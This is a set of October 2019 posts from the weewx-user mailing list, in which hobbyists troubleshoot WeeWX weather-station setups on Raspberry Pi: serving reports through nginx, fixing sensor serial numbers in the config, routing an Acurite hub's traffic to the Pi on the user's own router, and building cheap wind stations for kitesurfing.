   individuals will want to present the WeeWX reports via webpage.  In this 
   case, we’ll install nginx, which is a lightweight webserver
  1. *sudo apt-get install nginx*
 1. More details on this can be found here: 
 http://www.weewx.com/docs/usersguide.htm#integrating_with_webserver
  2. Configure WeeWX to minimize disk IO
  1. Why do we need to do this?  Since Raspberry PI’s leverage SD 
  cards, there is typically a finite number of reads/writes to the SD Card. 
 
  In this case, it is recommended to either leverage an external 
  database/fileserver for WeeWX to write its reports.  Alternatively, we 
can 
  also configure WeeWX to leverage ram to host the reports, which will 
  prevent IO to the SD card (in this case, theoretically increasing the 
life 
  of the drive)
 1. Three approaches are outlined here 
 –in 
 this guide I’ll reflect the GitHub page in saving reports to a 
temporary 
 file system using tmpfs
1. Add an entry to fstab
   1. 
   
   *echo "weewx_reports /var/weewx/reports tmpfs 
size=20M,noexec,nosuid,nodev 0 0" | sudo tee -a /etc/fstab*
   
   2. Mount the new file system
   1. *sudo mkdir -p /var/weewx/reports*
   2. *sudo mount -a*
3. Update weewx.config file to point to new directory
   1. 
   
   *sudo sed -i -e 's%HTML_ROOT =.*%HTML_ROOT = 
/var/weewx/reports%' /etc/weewx/weewx.conf*
   
   4. Restart WeeWX service
   1. *sudo service weewx restart*
5. Create symbolic link to point webserver to the reports
   1. *sudo ln -s /var/weewx/reports /var/www/html/weewx*
6. Give the web server the ability to read from the directory
   1. *sudo chmod -R 755 /var/www/html/weewx*

At this point, go ahead and browse out to *http://youripaddress/weewx/ 
* to see your weather. (end)

Should I try to undo all this, and where should the html files be?

I have looked at the index.html in the following directories:

/home/weewx/public_html/index.html

/var/wewx/reports/index.html

/var/www/html/wewx/index.html

They each show the same simulator page. Where else can I look?

Where could I look to see if there are reports, without going through a web 
page? If I can see data that weewx is collecting then I'll worry about how 
to get it into a web page.

thanks again.

On Monday, October 14, 2019 at 6:17:58 PM UTC-6, vince wrote:
>
> On Monday, October 14, 2019 at 4:27:11 PM UTC-7, Timothy Buchanan wrote:
>>
>> Ok, here is an extract from the syslog, from 14:04:53 when weewx started, 
>> to 14:26:20 when it stopped. It was running as daemon with log raw packets 
>> true. Also attached is the weewx.conf file. What can you tell from these? 
>> Thanks.
>>
>>
> Looks like it's hearing the station quite fine.   What is the problem at 
> this time ?
>
> My guess (guess) is that you have your weewx.conf set to put the output in 
> one place, and your web server (if there is one installed) to look in a 
> different place for the data.
>
> This is a very unusual place for HTML files
> HTML_ROOT = /var/weewx/reports
>
> See if there is anything in there with current timestamps.  Open the 
> index.html there in a browser and see what it looks like.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/b2eb20c7-dc40-4a0e-ba27-c547815a196d%40googlegroups.com.

[weewx-user] Re: Installed extension and edited config, but still shows simulator

2019-10-14 Thread vince 
On Monday, October 14, 2019 at 4:27:11 PM UTC-7, Timothy Buchanan wrote:
>
> Ok, here is an extract from the syslog, from 14:04:53 when weewx started, 
> to 14:26:20 when it stopped. It was running as daemon with log raw packets 
> true. Also attached is the weewx.conf file. What can you tell from these? 
> Thanks.
>
>
Looks like it's hearing the station quite fine.   What is the problem at 
this time ?

My guess (guess) is that you have your weewx.conf set to put the output in 
one place, and your web server (if there is one installed) to look in a 
different place for the data.

This is a very unusual place for HTML files
HTML_ROOT = /var/weewx/reports

See if there is anything in there with current timestamps.  Open the 
index.html there in a browser and see what it looks like.

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/b3e7894b-3c64-4b06-9baf-0cb8fdb00a93%40googlegroups.com.

[weewx-user] Re: Rasberry Pi weather station with anemometer and camera only

2019-10-14 Thread Kevin Hedgepeth 


On Saturday, September 14, 2019 at 5:35:45 AM UTC-7, Sean Jahnig wrote:
>
> Hi,
>
> I'm new here so if this has been answered before, please just direct me to 
> the article.
>
> I am fairly IT competent but i am not a coder. However, i can read through 
> tutorials and hack my way most the time.
>
> *A bit of background:*
> I am a surfer and kitesurfer and i live in the UAE. We do not have as much 
> wind and waves as other countries, but if you watch the weather closely and 
> make good, informed decisions - you can can get some nice ocean conditions 
> here for surfing and kitesurfing... and it usually disappears as quickly as 
> it arrives so timing is key. Following the charts and being informed is 
> tricky business because there are not many accurate forecasting websites or 
> stations. Firstly, knowing that the wind/waves is coming is not accurate, 
> and secondly knowing if it has arrived is not accurate. Being informed can 
> really save long drives etc. so what i'm really hoping to do is to build an 
> affordable little station that i can install at a few locations in order to 
> monitor live wind (via windguru) and wave conditions (twitch, streaming).
>
> At our local kite surfing spot i have setup a wind meter and a webcam but 
> it is not an efficient solution. We are currently using a full weather 
> station and a separate mac mini just for handling the web cam stream. It is 
> not an efficient or affordable solution. You can see the wind meter here: 
> https://www.windguru.cz/station/1083 and the webcam here: 
> https://www.twitch.tv/kitebeachcenteruaq ... What i am really hoping to 
> do is build something smaller and cheaper that can achieve the same thing - 
> and also in a smaller package like a waterproof box so that i can approach 
> hotels and use a small footprint (and their internet) to have a little 
> station to monitor the wind and waves at their condition.
>
> I have been doing a lot of reading and i do believe the rasberry pi has 
> all the functionality i need. It is just the exact process of getting 
> everything to talk to each other that i need some help with. Also, because 
> i am funding this myself i really need to try and keep the cost down. I 
> only need an anemometer for wind speed and direction + a 1080p weather 
> proof outdoor camera. Nothing else.
>
> In my head, this is how i imagine it will work:
>
>1. Buy an anemometer like - Davis Instruments 6410 
>https://amzn.to/2kBgCTh
>2. Buy a 1080p camera, whether usb or ethernet. It just need to be 
>weatherproof and compatible
>3. Buy Rasberry pi and load weewx which will talk to windguru
>4. Setup the Rasberry pi with something like https://www.noip.com/ so 
>that i can access it remotely for maintenance
>
> Questions i have:
>
>1. Can i buy only the anemometer above and connect it into the 
>rasberry pi (about $120) ? or do i need to invest in the whole station 
>(about $600) in order to have it readable by the rasberry pi ?
>2. Is anyone successfully streaming a webcam via twitch using a 
>rasberry pi? (ref - https://www.youtube.com/watch?v=ob-V1xI7c8I)
>
> Appreciate anything that can be added to my project.
>
> Thanks,
> Sean.
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/d923f752-ca01-49b0-b261-71a548e789b6%40googlegroups.com.

Re: [weewx-user] Re: Acurite Atlas - I switched --> Ambient Weather WS-1550-IP

2019-10-14 Thread Sean Jahnig 
Thanks for the reply, very much appreciated.

If i could go back i think i would spend a bit extra and go for a different
brand than acurite. But anyways, for now i'm locked in and it seems to be
working with my display after i removed the USB keyboard and USB mouse.

Will it work tomorrow... lets see...

On Mon, Oct 14, 2019 at 9:43 PM Xant  wrote:

>
>
> Received inquiries regarding 5x1 Acurite USB display connection, and the
> following is previous experience:
>
>
> I never had a display for any PWS system as I considered them all outdated
> and not necessary... and that its when it comes online feed and WeeWX.
>
> For 5x1 Acurite, I used Acurite Access (which is the current Acurite Hub)
> direct connected to my Linksys router, with DD-WRT. From there, you have to
> tweak firewall and redirect Access data [source] to RaspeberryPI [target].
>
> My notes on this process:
>
> INTERCEPTOR Driver - for Acurite 5x1
>
> https://github.com/matthewwall/weewx-interceptor
>
> Installation
> 0) install weewx, select 'Simulator' driver
> http://weewx.com/docs/usersguide.htm#installing
> 1) download interceptor driver
> % wget -O weewx-interceptor.zip
> https://github.com/matthewwall/weewx-interceptor/archive/master.zip
> 2) install driver
> % wee_extension --install weewx-interceptor.zip
> 3) configure driver
> % wee_config --reconfigure --driver=user.interceptor --no-prompt
> 4) WU - DNS hijack, using DD-WRT/Firewall
> ## WeeWX WU ##
> iptables -t nat -A PREROUTING -s [source IP] -p tcp --dport 80 -j DNAT
> --to-destination [target IP]:80
> iptables -t nat -A POSTROUTING -j MASQUERADE
> 5) Test driver install - provides sensor data
> % PYTHONPATH=/usr/share/weewx python /usr/share/weewx/user/interceptor.py
> --device=[wu-client, acurite-bridge] --mode=listen --port=80 --debug
>
> Please, read the Interceptor Driver Instructions carefully. There is lots
> of information and options there.
>
> Xant
>
> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/80fb9aaa-141d-472e-b161-d1da7529b5de%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CALeSoZ%3DJPmf0hcT2u66EmitAGo21Fw%3DBNaZMcjVJF7%2BoWz9sDQ%40mail.gmail.com.

[weewx-user] Re: Acurite Atlas - I switched --> Ambient Weather WS-1550-IP

2019-10-14 Thread Xant 


Received inquiries regarding 5x1 Acurite USB display connection, and the 
following is previous experience:


I never had a display for any PWS system as I considered them all outdated 
and not necessary... and that its when it comes online feed and WeeWX.

For 5x1 Acurite, I used Acurite Access (which is the current Acurite Hub) 
direct connected to my Linksys router, with DD-WRT. From there, you have to 
tweak firewall and redirect Access data [source] to RaspeberryPI [target].

My notes on this process:

INTERCEPTOR Driver - for Acurite 5x1

https://github.com/matthewwall/weewx-interceptor

Installation
0) install weewx, select 'Simulator' driver
http://weewx.com/docs/usersguide.htm#installing
1) download interceptor driver
% wget -O weewx-interceptor.zip 
https://github.com/matthewwall/weewx-interceptor/archive/master.zip
2) install driver
% wee_extension --install weewx-interceptor.zip
3) configure driver
% wee_config --reconfigure --driver=user.interceptor --no-prompt
4) WU - DNS hijack, using DD-WRT/Firewall
## WeeWX WU ##
iptables -t nat -A PREROUTING -s [source IP] -p tcp --dport 80 -j DNAT 
--to-destination [target IP]:80
iptables -t nat -A POSTROUTING -j MASQUERADE
5) Test driver install - provides sensor data
% PYTHONPATH=/usr/share/weewx python /usr/share/weewx/user/interceptor.py 
--device=[wu-client, acurite-bridge] --mode=listen --port=80 --debug

Please, read the Interceptor Driver Instructions carefully. There is lots 
of information and options there.

Xant

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/80fb9aaa-141d-472e-b161-d1da7529b5de%40googlegroups.com.

[weewx-user] Re: Belchertown skin 1.0 released!

2019-10-14 Thread Pat 
Xant, instead of another switch or skin option, if you wish to hide the 
forecast row, you can do so by adding this to the bottom of style.css

.forecastrow {
display:none;
}


This will hide that whole row for all versions of the website (desktop and 
mobile)


On Monday, October 7, 2019 at 7:45:10 PM UTC-4, Xant wrote:
>
>
> Hey Pat
>
> DarkSky 8 Day Forecast its interesting, but takes a lot of "real state", 
> specially when or if you check WeeWX/Belchertown from a mobile device. 
> Sure, there is an option in 'skin.conf' to turn it off, but by doing that, 
> the "current weather icon" on side on current Temp, and probably weather 
> warnings will go off too.
>
> I managed to turned the "2nd row" off, by tweaking the 'index.html.tmpl' 
> file. But would be interesting if you may add "another switch", to turn the 
> 2nd row off, while still keeping "current weather icon" and weather 
> warnings On.
>
> Or better yet, make "current weather icon" and weather warning 'skin 
> standard', while still keeping DarkSky 8 Day Forecast On/Off switch.
>
> Thank you always for B-skin,
> Xant
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/710effef-225e-4090-908e-4474f82fcb87%40googlegroups.com.

[weewx-user] Re: Installed extension and edited config, but still shows simulator

2019-10-14 Thread Timothy Buchanan 
Thank you Vince and mwall for pointing out that I needed to change the sensor 
serial numbers in config. I did that but unhappily it's still not working. 
Before I had to leave I set weewx to log raw packets. When I get back I'll post 
the syslog for two or more archive periods.

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/14a7ea03-ecc8-4d3d-82e8-aeb622404564%40googlegroups.com.

[weewx-user] Re: Installed extension and edited config, but still shows simulator

2019-10-14 Thread vince 
On Sunday, October 13, 2019 at 12:41:08 PM UTC-7, Timothy Buchanan wrote:
>
> This is the output from listen --raw. It keeps repeating these lines.
>
>
>
Yes - that says your pi is indeed receiving the data that is broadcast from 
the station.

The problem is your weewx.conf file config settings.   The map is wrong.

Your sky serial number is SK-00017445 and your air serial number is 
AR-00017660 from the --raw output.

You have to edit 'your' values into the weewx.conf file.  That's the 
issue.   Edit the file, restart weewx, and you should be good to go.

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/6099d02d-16de-4d02-9ade-57851410e681%40googlegroups.com.

[weewx-user] Re: Windchill stored as heatindex

2019-10-14 Thread Hyrules Hyrules 
Thanks Gary I hope to see 4.0 soon.

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/b40b5411-0bc6-4fc1-a4a4-a10ba77a9256%40googlegroups.com.

Re: [weewx-user] Re: Rasberry Pi weather station with anemometer and camera only

2019-10-14 Thread Wade Graham 
Hi Sean

I am also a kiter.
I highly recommend using Weewx it is simply great software and extremely
flexible.

I have setup three different remote weather stations each using a Raspberry
Pi and Weewx.
I remotely control them with Real VNC, which is a free package on all
Raspberry Pi's and no port forwarding is required on the Pi.
Some of my Pis have been running Weewx for years in harsh Canadian ambient
conditions.

Although my stations use Davis VP2 and Vue you can cheaply and easily build
just the sensors you want for the Raspberry Pi at the link below.
https://projects.raspberrypi.org/en/projects/build-your-own-weather-station

Very meagre (bits) bandwidth is used to transmit weather data to our club
website, Wunderground and Windflow.ca.

Windflow.ca is owned by a kiter friend of mine.
A 60 second tweak to Weewx restx.py is required to transmit weather data to
windflow.

My current Weewx sites:

Toronto Windsurfing Club
http://torontowindsurf.com/weather/ss/index.html
https://www.windflow.ca/app/places/61
Beachcam: reverse time lapse
http://torontowindsurf.com/

Downtown Toronto
http://torontowindsurf.com/weather/corktown/smartphone/index.html

Lake Simcoe Kite Weather
http://torontowindsurf.com/keswick/index.html
https://www.windflow.ca/app/places/69






On Sun, Oct 13, 2019 at 2:49 PM Kevin Hedgepeth 
wrote:

>
>
> On Saturday, September 14, 2019 at 5:35:45 AM UTC-7, Sean Jahnig wrote:
>>
>> Hi,
>>
>> I'm new here so if this has been answered before, please just direct me
>> to the article.
>>
>> I am fairly IT competent but i am not a coder. However, i can read
>> through tutorials and hack my way most the time.
>>
>> *A bit of background:*
>> I am a surfer and kitesurfer and i live in the UAE. We do not have as
>> much wind and waves as other countries, but if you watch the weather
>> closely and make good, informed decisions - you can can get some nice ocean
>> conditions here for surfing and kitesurfing... and it usually disappears as
>> quickly as it arrives so timing is key. Following the charts and being
>> informed is tricky business because there are not many accurate forecasting
>> websites or stations. Firstly, knowing that the wind/waves is coming is not
>> accurate, and secondly knowing if it has arrived is not accurate. Being
>> informed can really save long drives etc. so what i'm really hoping to do
>> is to build an affordable little station that i can install at a few
>> locations in order to monitor live wind (via windguru) and wave conditions
>> (twitch, streaming).
>>
>> At our local kite surfing spot i have setup a wind meter and a webcam but
>> it is not an efficient solution. We are currently using a full weather
>> station and a separate mac mini just for handling the web cam stream. It is
>> not an efficient or affordable solution. You can see the wind meter here:
>> https://www.windguru.cz/station/1083 and the webcam here:
>> https://www.twitch.tv/kitebeachcenteruaq ... What i am really hoping to
>> do is build something smaller and cheaper that can achieve the same thing -
>> and also in a smaller package like a waterproof box so that i can approach
>> hotels and use a small footprint (and their internet) to have a little
>> station to monitor the wind and waves at their condition.
>>
>> I have been doing a lot of reading and i do believe the rasberry pi has
>> all the functionality i need. It is just the exact process of getting
>> everything to talk to each other that i need some help with. Also, because
>> i am funding this myself i really need to try and keep the cost down. I
>> only need an anemometer for wind speed and direction + a 1080p weather
>> proof outdoor camera. Nothing else.
>>
>> In my head, this is how i imagine it will work:
>>
>>1. Buy an anemometer like - Davis Instruments 6410
>>https://amzn.to/2kBgCTh
>>2. Buy a 1080p camera, whether usb or ethernet. It just need to be
>>weatherproof and compatible
>>3. Buy Rasberry pi and load weewx which will talk to windguru
>>4. Setup the Rasberry pi with something like https://www.noip.com/ so
>>that i can access it remotely for maintenance
>>
>> Questions i have:
>>
>>1. Can i buy only the anemometer above and connect it into the
>>rasberry pi (about $120) ? or do i need to invest in the whole station
>>(about $600) in order to have it readable by the rasberry pi ?
>>2. Is anyone successfully streaming a webcam via twitch using a
>>rasberry pi? (ref - https://www.youtube.com/watch?v=ob-V1xI7c8I)
>>
>> Appreciate anything that can be added to my project.
>>
>> Thanks,
>> Sean.
>>
>>
>> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/a13e5f22-fb22-4645-800f-98040991ebb2%40googlegroups.com
>

[weewx-user] Re: Keeping every monthly/yearly statistics and plots

2019-10-14 Thread Pat 
You can try the Belchertown skin as well. This can be installed in addition 
to w34 skin, sofaskin, etc. 

You can see on my own graphs page  
that I have graphs setup for this current year 
, one for last year 
, etc. It's easily 
customized so you can show a specific year, a specific day or a date range 
of your choosing.

You can download it here , 
and read about how to configure your charts in the wiki here 

. 

On Saturday, October 5, 2019 at 7:01:04 PM UTC-4, . fankyy wrote:
>
> Is there a built-in funcion/setting to keep the statistics and plots of 
> every single month/year (and week), in a way that the visitors can choose a 
> certain year and all plots from that year will appear? 
>
> Or is there a setting to auto-export e.g. the monthly plots at the end of 
> a month to, as an example "2019-05-temp.gif" or "2019-05-gust.gif"? 
>
> Always had that in wswin and somehow no one with weewx seems to have it. 
> And I couldnt find anything in the manual/wiki.
>
> Or is a database export plus highcharts the way to go?
>
> Thanks for any advice!
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/ce20150d-fa58-4e2d-b5d5-a66a76c19295%40googlegroups.com.